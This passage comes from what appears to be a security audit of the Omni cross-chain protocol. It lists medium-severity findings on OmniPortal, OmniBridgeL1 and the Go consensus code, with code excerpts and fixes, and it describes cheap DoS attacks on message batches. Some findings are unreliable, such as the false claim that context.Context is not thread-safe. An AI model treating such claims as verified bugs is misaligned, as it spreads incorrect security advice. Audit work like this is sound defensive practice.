        streamOffsets[xmsg.StreamID] = xmsg.StreamOffset
    }

    if block.BlockHash == (common.Hash{}) {
        return nil // Skip consensus chain blocks without block hashes.
    }
    if prevBlock.BlockHash == block.ParentHash {
        return nil // No reorg detected.
    }

    if chainVer.ConfLevel.IsFuzzy() {
        return errors.New("fuzzy chain reorg detected", "height", block.BlockHeight, "parent_hash",
↪  prevBlock.BlockHash, "new_parent_hash", block.ParentHash)
    }

    return errors.New("finalized chain reorg detected [BUG]", "height", block.BlockHeight, "parent_hash",
↪  prevBlock.BlockHash, "new_parent_hash", block.ParentHash)
}
```

We stream blocks until we detect that a reorg occurs (when the next block's parent hash is not equal to the previous block's hash) and then, we will restart the stream. An important thing to note is that, when the reorg occurs, we will return to the finalized head but will not revote for any blocks until `skipBeforeOffset` to prevent any double signing. Once the finalized head catches up to the `skipBeforeOffset`, only then we will continue voting for the latest stream.

Now let us suppose all the nodes are up to sync with the latest head of the chain. An XMsg gets included in XBlock 50, with a stream offset of X. The voters will successfully vote for XBlock 50.

Now, a reorg occurs such that the XMsg with a stream offset of X gets included in XBlock 51 instead. As said earlier, the node will have to wait before the finalized head of the chain catches up to `skipBeforeOffset`. Once that happens they will continue streaming blocks, and start revoting for XBlock 51. Once 2/3 consensus is reached or the finalized head is approved and overrides the block, the voters will successfully vote for XBlock 51.

Now, returning to the `OmniPortal` we can see that the XMsg with the same stream offset X will be included twice in XBlock 50 and XBlock 51, which will permanently brick the XStream.

Technically, the relayer can handle this as it can just not include the XMsg twice (it uses the multiproof merkle-tree which allows it to selectively include XMsgs), but as I am unsure whether it will or not as the code is OOS, so I am setting the issue to medium severity.

- Recommendation

Determine whether the relayer already handles this case.

3.5.34 `xsubmit` will be unable to verify attestations when there are too many validators

Severity: Medium Risk

Context: Quorum.sol#L21-L45, OmniPortal.sol#L174-L211

- Description

The number of validators in the validator set is not limited. In the current implmentation, new validators can register through the `Staking` contract and they will participate in the attestation processing.

Let's say that at first, there are 30 validators with similar power. Then, `Portal.xsubmit` will have to verify 20 signatures per attestation.

After some time, multiple validators register through the `Staking` contract, raising the total number of validators to 100. Now, the `Portal` needs to verify 67 signatures per attestation.

The gas consumption of an `xsubmit` will include:

- all signatures verification
- all XMsgs execution

At some point, this will overflow the 30M gas limit per block and call to `xsubmit` to check the attestation will become impossible. This will lead to cross-chain messaging denial of service.

- Impact

Verifying an attestation is impossible => Denial of service of cross-chain messaging

- Recommendation

In the current implementation, the number of registered validators must be capped to ensure that the destination chains' `Portal.xsubmit` are able to process the attestations.

3.5.35 Potential race conditions due to usage of context.Context in concurrent goroutines

Severity: Medium Risk

Context: start.go#L179-L194, start.go#L211-L212, start.go#L265-L275, voter.go#L126-L130

- Description context.Context is not thread-safe, and concurrent access to it can lead to race conditions and data corruption. Yet, context.Context is used in concurrent gorountines in voter.Start and app.Start.
- Recommendation Create a copy of context.Context for each goroutine to avoid race conditions and data corruption.

3.5.36 Missing Root Hash Validations

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary No validation of StateRoot and ReceiptsRoot hashes in ExecutableData, potentially allowing invalid state transitions.
- Finding Description

```
func (k *Keeper) parseAndVerifyProposedPayload(...) {
    var payload engine.ExecutableData
    // No  validations about state Root and receiptsRoot
}
```

```
type ExecutableData struct {
    StateRoot     common.Hash    //  No validation
    ReceiptsRoot  common.Hash    //  No validation
}
```

- Impact Explanation
- Invalid state transitions
- Corrupted state root
- Recommendation (optional) add validation about state Root and Receipts Root

3.5.37 Unbounded Message Batch Processing Can Lead to Out-of-Gas

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `xsubmit` function in the `OmniPortal` contract processes all cross-chain messages in a single loop without any limit on the batch size.

This could lead to transactions reverting due to hitting block gas limits, causing message processing failures and potential denial of service.

- Finding Description

In the OmniPortal contract:

```
function xsubmit(XTypes.Submission calldata xsub) external
    whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
    nonReentrant
{
    XTypes.Msg[] calldata xmsgs = xsub.msgs;

    require(xmsgs.length > 0, "OmniPortal: no xmsgs");

    // No maximum batch size check
    // Could process hundreds or thousands of messages
    for (uint256 i = 0; i < xmsgs.length; i++) {
        _exec(xheader, xmsgs[i]);  // Each execution consumes gas
    }
}

function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    // Each message execution involves:
    // - Storage reads/writes
    // - External calls
    // - Event emissions
    // All consuming significant gas
}
```

Issues:

No maximum batch size limit

No gas consumption estimation

No batch splitting mechanism

Can exceed block gas limit

No partial processing support

- Impact Explanation

The impact is rated as Medium because:

Large batches can fail entirely

Messages remain unprocessed

Requires resubmission of failed batches

Increased operational costs

Potential DoS vector

Cross-chain message delays

- Likelihood Explanation

The likelihood is rated as Medium because:

Gas limits vary across networks

Message batch sizes can grow unpredictably

Individual message gas costs vary

Network congestion affects gas limits

Common in high-traffic periods

Can be triggered unintentionally

- Proof of Concept (if required)
- Recommendation (optional)

Implement batch size limits and gas checks:

```
contract OmniPortal {
    uint256 public constant MAX_BATCH_SIZE = 100;
    uint256 public constant MAX_GAS_PER_MESSAGE = 300000;

    error BatchTooLarge(uint256 size, uint256 maxSize);
    error InsufficientGasForBatch(uint256 required, uint256 provided);

    function xsubmit(XTypes.Submission calldata xsub) external {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;

        // Check batch size
        if (xmsgs.length > MAX_BATCH_SIZE) {
            revert BatchTooLarge(xmsgs.length, MAX_BATCH_SIZE);
        }

        // Estimate required gas
        uint256 requiredGas = estimateRequiredGas(xmsgs.length);
        if (gasleft() < requiredGas) {
            revert InsufficientGasForBatch(requiredGas, gasleft());
        }

        // Process messages
        for (uint256 i = 0; i < xmsgs.length; i++) {
            require(
                gasleft() >= MAX_GAS_PER_MESSAGE,
                "OmniPortal: insufficient gas for message"
            );
            _exec(xsub.blockHeader, xmsgs[i]);
        }
    }

    function estimateRequiredGas(
        uint256 messageCount
    ) public pure returns (uint256) {
        // Base cost + per-message cost
        return 100000 + (messageCount * MAX_GAS_PER_MESSAGE);
    }
}
```

3.5.38 Missing Zero Address Validation in Withdraw Function

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `withdraw` function in the `OmniBridgeL1` contract does not validate that the recipient address (to) is not the zero address (0x0).

This could lead to permanent loss of tokens if a cross-chain message is processed with a zero address as the recipient.

- Finding Description

In the OmniBridgeL1 contract:

```
function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
    XTypes.MsgContext memory xmsg = omni.xmsg();

    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

    // No validation of 'to' address
    // Tokens could be sent to address(0)
    token.transfer(to, amount);

    emit Withdraw(to, amount);
}
```

Critical missing validation:

No check if to is address(0)

Could result in permanent token loss

- Impact Explanation

The impact is rated as High because:

Tokens sent to zero address are permanently lost

No recovery mechanism possible

Affects user funds directly

- Likelihood Explanation

The likelihood is rated as Low because:

Requires error in cross-chain message construction

- Proof of Concept (if required)
- Recommendation (optional)

Add zero address validation:

```
contract OmniBridgeL1 is OmniBridgeCommon {
    error ZeroAddressRecipient();

    function withdraw(
        address to,
        uint256 amount
    ) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

        // Add zero address check
        if (to == address(0)) {
            revert ZeroAddressRecipient();
        }

        token.transfer(to, amount);

        emit Withdraw(to, amount);
    }
}
```


3.5.39 Missing Allowance Validation Before Token TransferFrom

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `_bridge` function in `OmniBridgeL1` contract calls `transferFrom` without first checking if the contract has sufficient allowance from the user.

While most ERC20 implementations will revert on insufficient allowance, it's best practice to check allowance first to provide better error messages and prevent unnecessary transaction attempts.

- Finding Description

In the OmniBridgeL1 contract:

```
function _bridge(address payor, address to, uint256 amount) internal {
    require(amount > 0, "OmniBridge: amount must be > 0");
    require(to != address(0), "OmniBridge: no bridge to zero");

    uint64 omniChainId = omni.omniChainId();
    bytes memory xcalldata =
        abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) + amount)
);

    require(
        msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT),
        "OmniBridge: insufficient fee"
    );

    // No allowance check before transferFrom
    require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

    omni.xcall{ value: msg.value }(
        omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
    );

    emit Bridge(payor, to, amount);
}
```

Missing validations:

No check of current allowance

No explicit allowance comparison

Generic error message for transfer failure

No indication of insufficient allowance

- Impact Explanation

The impact is rated as Low because:

Most tokens will revert on insufficient allowance

No funds are at risk

Only affects user experience

Transaction will fail safely

Can be resolved by user approving more tokens

- Likelihood Explanation

The likelihood is rated as High because:

Common user error to provide insufficient allowance

Happens frequently with new users

Easy to trigger unintentionally

Poor UX can lead to user confusion

Generic error messages can be misleading

- Proof of Concept (if required)
- Recommendation (optional)

Add allowance check:

```
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

contract OmniBridgeL1 is OmniBridgeCommon {
    using SafeERC20 for IERC20;

    error InsufficientAllowance(uint256 required, uint256 current);

    function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
```

```
        require(to != address(0), "OmniBridge: no bridge to zero");

        // Check allowance first
        uint256 currentAllowance = token.allowance(payor, address(this));
        if (currentAllowance < amount) {
            revert InsufficientAllowance({
                required: amount,
                current: currentAllowance
            });
        }

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata = abi.encodeCall(
            OmniBridgeNative.withdraw,
            (payor, to, amount, token.balanceOf(address(this)) + amount)
        );

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT),
            "OmniBridge: insufficient fee"
        );

        // Use safeTransferFrom for better error handling
        token.safeTransferFrom(payor, address(this), amount);

        omni.xcall{ value: msg.value }(
            omniChainId,
            ConfLevel.Finalized,
            Predeploys.OmniBridgeNative,
            xcalldata,
            XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(payor, to, amount);
    }
}
```

3.5.40 Message Tree Index Map Collision Vulnerability in Merkle Tree Implementation

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The MsgTree implementation uses a map to store node indices without checking for hash collisions, which could potentially lead to incorrect proof generation if collisions occur.
- Finding Description In the NewMsgTree function, indices are stored in a map using the hash as the key:

```
// Creates indices without collision check
indices := make(map[[32]byte]int)
for i, node := range tree {
    indices[node] = i  // Vulnerable to hash collisions
}
```

The issue arises in leafIndex:

```
func (t MsgTree) leafIndex(leaf [32]byte) (int, error) {
    index, ok := t.indices[leaf]
    if !ok {
        return 0, errors.New("leaf not in tree")
    }
    return index, nil
}
```

- Impact Explanation
- Hash collisions could lead to incorrect index lookups
- Wrong proofs could be generated
- Messages could be incorrectly verified on destination chains
- Potential for message verification bypass

- Cross-chain message integrity could be compromised
- Ability to potentially forge proofs for unauthorized messages
- Likelihood Explanation While hash collisions are rare with 32-byte hashes, in a cryptographic context any such possibility needs to be considered and mitigated, especially in cross-chain messaging systems.
- Proof of Concept (if required)

```
func TestHashCollision() {
    // Assume two different messages produce same hash
    msg1 := Msg{Data: []byte("message1")}
    msg2 := Msg{Data: []byte("message2")}

    // If hash collision occurs
    hash1, _ := msgLeaf(msg1)
    hash2, _ := msgLeaf(msg2)

    // Second message overwrites first in indices map
    indices := make(map[[32]byte]int)
    indices[hash1] = 1
    indices[hash2] = 2  // Overwrites if hash1 == hash2

    // Could lead to incorrect proof generation
}
```

- Recommendation (optional) Add Collision Detection:

3.5.41 Use `.call()` instead of `.transfer()` for fee collection in zkSync

Severity: Medium Risk

Context: OmniPortal.sol#L491-L499

- Description In the `OmniPortal` contract, the `collectFees` function uses `.transfer()` to send accumulated fees to an address specified by the owner:

```
function collectFees(address to) external onlyOwner {
    uint256 amount = address(this).balance;
    payable(to).transfer(amount); // @audit uses .transfer with 2300 gas stipend
    emit FeesCollected(to, amount);
}
```

According to zkSync docs, using `.transfer()` or `.send()` is discouraged because the 2300 gas stipend may not be sufficient for operations on L2, especially when involving state changes that require more gas. This limitation could cause the fee collection to fail if the receiving address is a contract that:

- Has a complex `receive()` function
- Needs to perform state updates
- Uses proxy patterns
- Integrates with other protocols

If the transfer fails due to gas limitations, the fees would remain stuck in the Portal contract, preventing proper fee collection by the owner.

- Impact Medium - While the current implementation works with EOA recipients, it could fail with contract recipients in the zkSync environment, leading to stuck fees.
- Recommendation Replace `.transfer()` with `.call()` and include a success check:

```
function collectFees(address to) external onlyOwner {
    uint256 amount = address(this).balance;

    (bool success,) = payable(to).call{value: amount}("");
    require(success, "Fee transfer failed");

    emit FeesCollected(to, amount);
}
```

3.5.42 XTypes.MsgContext does not expose the `XMsg`confirmation level

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `XTypes.MsgContext` contains the information for the caller to determine things like who sent the message, which source chain it is from for the caller to perform authentication checks. But it does not expose the full information such as the confirmation level of the message.

```
struct MsgContext {
    uint64 sourceChainId;
    address sender;
}
```

Providing the confirmation level is important as each one offers different security guarantees about the message.

For example, latest confirmation levels have weakest security guarantees. It is possible for a message with latest confirmation to be delivered twice due to a reorg that results in the transaction reordering which cause the message to appear twice in observed blocks. As such the cross-chain application may want to handle a message with latest confirmation level different as opposed to a finalized message. But this is not provided in the current `XTypes.MsgContext` struct.

- Recommendation

Add confirmation level to the `XTypes.MsgContext` struct.

3.5.43 Merkle leaves aren't ordered from right to left before processing them via processMultiProofCalldata

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

When the merkle tree is being built, the leaves are hashed from "left to right". But according to OpenZeppelin, when using their MerkleProof library and subsequently using multiproofs, you have to ensure that two things are true:

- The tree is complete (but not necessarily perfect);
- The leaves to be proven are in the opposite order they are in the tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer);

When the leaves are hashed and a new tree is being built as part of the Xchain / Merkle library, the Msgs (leaves) which will construct the tree are ordered and hashed sequentially, i.e. by offset, but when they're proven while using multiproofs, they're not re-ordered in the opposite direction, which can lead to failed merkle verifications.

- Finding Description

According to the contest information and known issues:

- "We rely on xmsgs being ordered by log index (ascending) to build the xblock merkle tree. This implicitly orders xmsgs by offset per shard. Order by log index is currently not enforced when constructing the xblock merkle tree. We have an open PR to enforce that ordering."

Assuming that the messages are sequentially ordered by their offset / log index, is how they're passed in the xSubmit function as well, and subsequently to the XBlockMerkleProof:

```
require(
            XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
            "OmniPortal: invalid proof"
        );

        // execute xmsgs
        for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);
        }
```

This is also evident as in the `_exec()` function, it's expected that the messages are ordered by offset/shard in an ascending order and they're not "manipulated" or ordered in any way before being passed to the XBlockMerkleProof library or after that:

```
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

Once in the XBlockMerkleProof library:

```
function verify(
        bytes32 root,
        XTypes.BlockHeader calldata blockHeader,
        XTypes.Msg[] calldata msgs,
        bytes32[] calldata msgProof,
        bool[] calldata msgProofFlags
    ) internal pure returns (bool) {
        bytes32[] memory rootProof = new bytes32[](1);
        rootProof[0] = MerkleProof.processMultiProofCalldata(msgProof, msgProofFlags, _msgLeaves(msgs));
        return MerkleProof.verify(rootProof, root, _blockHeaderLeaf(blockHeader));
    }
```

The `_msgLeaves`:

```
  function _msgLeaves(XTypes.Msg[] calldata msgs) private pure returns (bytes32[] memory) {
        bytes32[] memory leaves = new bytes32[](msgs.length);

        for (uint256 i = 0; i < msgs.length; i++) {
            leaves[i] = _leafHash(DST_XMSG, abi.encode(msgs[i]));
        }

        return leaves;
    }
```

As well as the `_blockHeaderLeaf` functions:

```
  function _blockHeaderLeaf(XTypes.BlockHeader calldata blockHeader) private pure returns (bytes32) {
        return _leafHash(DST_XBLOCK_HEADER, abi.encode(blockHeader));
    }
```

The order of the leaves is never "reversed" and ordered from the highest to the lowest offset (or right to left) before being "verified".

The verification would likely fail or produce an incorrect root due to this, because the assumes a right-to-left leaf order, which dictates how nodes are combined and hashed. If leaves are supplied from left to right, the function would likely pair nodes incorrectly.

This would lead to the submission of messages on the destination OmniPortal being DoSd due to the merkle verification failing.

- Impact Explanation Messages would be DoSd on destination due to the leaves not being able to be validated based on the root proof / root.
- Likelihood Explanation This is likely to happen as according to OZ's recommendations in order to use multiproofs, it is sufficient to ensure that: the leaves to be proven are in the opposite order they are in the tree.
- Recommendation "Reverse" the xMsgs only before validating them and then the execution can be continued in the normal / ascending order.

3.5.44 Bridge/Withdraw Pause Inconsistency Can Break System Invariants

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The OmniBridgeL1 contract allows independent pausing of bridge and withdraw functions, which can lead to broken system invariants when one direction is paused but not the other.
- Finding Description Current Implementation:

```
contract OmniBridgeL1 {
    function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
        // ... withdraw logic
    }

    function bridge(address to, uint256 amount) external payable whenNotPaused(ACTION_BRIDGE) {
        // ... bridge logic
    }
}
```

- Impact Explanation potential dos at withdrawing funds on l1
- Proof of Concept (if required) Initial State:
- l1BridgeBalance = 1000 OMNI
- L1 actual = 1000 OMNI

Steps:

1. Alice bridges 100 OMNI to native chain . so l1 bridgeBalance is 1100 OMNI and also updated at omni contract
2. bob try to bridge 700 OMNI to l1 chain .
3. xcall fails due to paused at withdraw
4. L1 balance remains 1000
5. Now withdraw is unpaused .miloTruck try to bridge 50 OMNI to native chain .Now l1 bridgeBalance is 1150 OMNI and also updated at omni contract
6. Trust want to withdraw all of l1 bridgeBalance which is 1150 , call the bridge
7. before withdrawal of trust is Called at l1 chain , bob is able to call the withdrawal of 700 OMNI .now actual balance is 450(1150 - 700) 8.When trust withdrawal tx is trying to execute , it will be reverted due to insufficient funds.

- Recommendation (optional) make sure bridge and withdraw both are paused

3.5.45 A malicious user can DoS a whole batch of messages from being submitted/executed on destination at low cost

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Although a retry mechanism is out-of-scope for this audit, the focus of this issue is addressing the ability for a malicious user to DoS a "batch" of messages being submitted (usually part of a Merkle tree) fairly easily. This can be as simple as setting a destination/to which constantly reverts or even setting the `to` address as the address of the Omni Portal.

Due to the way how the execution of the messages is set up and the lack of a try/catch mechanism, a malicious user can cause constant reverts of the `xSubmit` batches by sending malicious messages.

This will result in several things:

- A DoS which will last until an admin changes to offset on the OmniPortal to "skip" the malicious message; This will cause a temporary DoS to all of the messages following the malicious one;

- A whole batch being DoSd / reverting and having to be "retried" - if/when the mechanism is implemented;
- A fairly easy and cheap attack which can be performed from all sources to all destinations for all shards, this can be repeated as many times possible, prompting the admin team to constantly reset the offset.
- Finding Description

A "batch" of messages (usually the xMsgs of a particular Merkle tree which were hashed together) are executed on the OmniPortal via ‘xSubmit:

```
        for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);
        }
```

Due to the way how the execution of the messages is set up, a malicious user can constantly cause the whole batch to revert due to faulty messages.

Even if messages aren't "submitted" in batches but one-by-one, a malicious message will cause the need for the `inXMsgOffset` to be constantly adjusted according to the source chain / shard id for each malicious message.

```
function setInXMsgOffset(uint64 sourceChainId, uint64 shardId, uint64 offset) external onlyOwner {
        _setInXMsgOffset(sourceChainId, shardId, offset);
    }
```

Since the above method isn't an atomic one but requires manual assistance from the admin team, a malicious user can constantly "spam" the Omni Portal with malicious messages and cause constant temporary DoSs.

There are numerous ways in how the DoS's can be caused, and here are some of them.

- Setting the `to` as the OmniPortal contract address on the destination chain:

```
 if (xmsg_.to == address(this)) {
            emit XReceipt(
                sourceChainId,
                shardId,
                offset,
                0,
                msg.sender,
                false,
                abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
            );

            return;
        }
```

If the the above condition is true, this won't just "skip" this message, but it will "return" to the main flow and no other xMsg will be executed.

Although the above would increase the offset, here are more ways on how to revert the whole batch without increasing the offset, and causing for admins to manually having to intervene:

- Setting the `to` as a malicious contract which will revert whenever it's called from the Omni contract.
- Setting the `to` as a malicious contract which will consume way more gas than the gas limit set by the user and cause an OOG error / revert;

Considering all of the above-mentioned things, its fairly easy, cheap (since most of the bridging cost are based on the gas limit and data being sent, this can also be adjusted by the malicious user) for malicious actors to constantly cause temporary DoS's to the system and for other legitimate messages to be able to be executed.

Keep in mind that even if batch of messages are simulated prior to being posted for execution, it's also possible for malicious actors to "turn on" a malicious feature on the given contract right before the batch is executed (i.e. frontrun it).

- Impact Explanation Messages can be temporarily DoS'd by causing a revert of the whole batch and admins having to manually intervene and change the offset on the destination per source/shard.

- Likelihood Explanation This attack can be initiated an unlimited number of times by anyone.
- Recommendation Utilize a try/catch mechanism which will store failed messages in a mapping and automatically increase the offset of each message.

3.5.46 Race Conditions could break the create account logic

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `createAccIfNone` function creates accounts if they don't exist, but it doesn't lock the account creation process. This could lead to race conditions if multiple threads try to create the same account simultaneously.

- Proof of Concept

Take a look at the code snippet: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/evmstaking/evmstaking.go#L242-L247

```
func (p EventProcessor) createAccIfNone(ctx context.Context, addr sdk.AccAddress) {
    if !p.aKeeper.HasAccount(ctx, addr) {
        acc := p.aKeeper.NewAccountWithAddress(ctx, addr)
        p.aKeeper.SetAccount(ctx, acc)
    }
}
```

This function checks if an account exists, and if not, creates a new one. However, between the check and the creation, another thread might create the account, leading to unexpected behavior which is rampant with race conditions in golang.

- Recommendation

To mitigate this, implement a locking mechanism or use atomic operations to ensure only one thread can create an account at a time. For example:

```
var accountCreationMutex sync.Mutex

func (p EventProcessor) createAccIfNone(ctx context.Context, addr sdk.AccAddress) {
    accountCreationMutex.Lock()
    defer accountCreationMutex.Unlock()

    if !p.aKeeper.HasAccount(ctx, addr) {
        acc := p.aKeeper.NewAccountWithAddress(ctx, addr)
        p.aKeeper.SetAccount(ctx, acc)
    }
}
```

Alternatively, consider using a database-level locking mechanism if available in the underlying storage system.

3.5.47 Unsuccessful xmsgs are not bubbled back up during `xsubmit()` and get deleted

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

Inbound xcall messages are submitted via `xsubmit()` now depending on whether this call is to the virtual portal or a normal call, it could be a syscall or a normal call.

Now when it's a syscall, the call never fails, or to be more exact in the case the msg called fails, the whole tx reverts, which means the outer `xsubmit()` also reverts, issue however is that when this call is a normal call to an external contract it could aswell fail however no reverts occur in `_call()'s` case and instead the internal call to `_call` would just return if the tx was successful or not.

However in the higer level `_exec()` call `xsubmit()` func, this returned data is never queried to see if the call was successful or not: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L274-L283

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
..snip
        // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
↪   xmsg()
        _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

        (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪   VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;
..snip
    }
```

Which also bricks the `xsubmit()` func, as not only does the xmsg silently does not get submitted it also means that the msg gets deleted during the reset.

- Proof of Concept

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L169-L211

```
    /**
     * @notice Submit a batch of XMsgs to be executed on this chain
     * @param xsub  An xchain submission, including an attestation root w/ validator signatures,
     *              and a block header and message batch, proven against the attestation root.
     */
    function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        XTypes.BlockHeader calldata xheader = xsub.blockHeader;
        uint64 valSetId = xsub.validatorSetId;

        require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");
        require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
        require(valSetId >= _minValSet(), "OmniPortal: old val set");

        // check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
        require(
            Quorum.verify(
                xsub.attestationRoot,
                xsub.signatures,
                valSet[valSetId],
                valSetTotalPower[valSetId],
                XSubQuorumNumerator,
                XSubQuorumDenominator
            ),
            "OmniPortal: no quorum"
        );

        // check that blockHeader and xmsgs are included in attestationRoot
        require(
            XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
            "OmniPortal: invalid proof"
        );

        // execute xmsgs
        for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);//@audit executing the xmsgs here
        }
    }
```

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L236-L287

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;

        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

        // verify xmsg conf level matches xheader conf level
        // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs
        require(
            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
            "OmniPortal: wrong conf level"
        );

        if (inXBlockOffset[sourceChainId][shardId] < xheader.offset) {
            inXBlockOffset[sourceChainId][shardId] = xheader.offset;
        }

        inXMsgOffset[sourceChainId][shardId] += 1;

        // do not allow user xcalls to the portal
        // only sys xcalls (to _VIRTUAL_PORTAL_ADDRESS) are allowed to be executed on the portal
        if (xmsg_.to == address(this)) {
            emit XReceipt(
                sourceChainId,
                shardId,
                offset,
                0,
                msg.sender,
                false,
                abi.encodeWithSignature("Error(string)", "OmniPortal: no xcall to portal")
            );

            return;
        }

        // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
↪   xmsg()
        _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

        (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪   VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;//@audit the xmsg is deleted without querying whether it was successful or not

        bytes memory errorMsg = success ? bytes("") : result;//@audit error msg is not propagated back to the
↪   xsubmit func call

        emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
    }
```

From the below we can see that either of call/syscall could fail: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L288-L336

```
    /**
     * @notice Call an external contract.
     * @dev Returns the result of the call, the gas used, and whether the call was successful.
     * @param to                The address of the contract to call.
     * @param gasLimit          Gas limit of the call.
     * @param data              Calldata to send to the contract.
     */
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
```

```
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪  data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪  c0290/contracts/metatx/MinimalForwarder.sol#L58-L68
        if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪  exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }

    /**
     * @notice Call a function on the current contract.
     * @dev Reverts on failure. We match _call() return signature for symmetry.
     * @param data      Calldata to execute on the current contract.
     */
    function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
        uint256 gasUsed = gasleft();
        (bool success, bytes memory result) = address(this).call(data);
        gasUsed = gasUsed - gasleft();

        // if not success, revert with same reason
        if (!success) {
            assembly {
                revert(add(result, 32), mload(result))
            }
        }

        return (success, result, gasUsed);
    }
```

- Impact

Unsuccessful xmsgs are not bubbled back up during the inbound `xsubmit()` in the portal and they also get wrongly deleted.

- Recommendation

A concise recommendation would be to just revert in the case where any of the internal call fails, i.e either of `call/syscall()`.

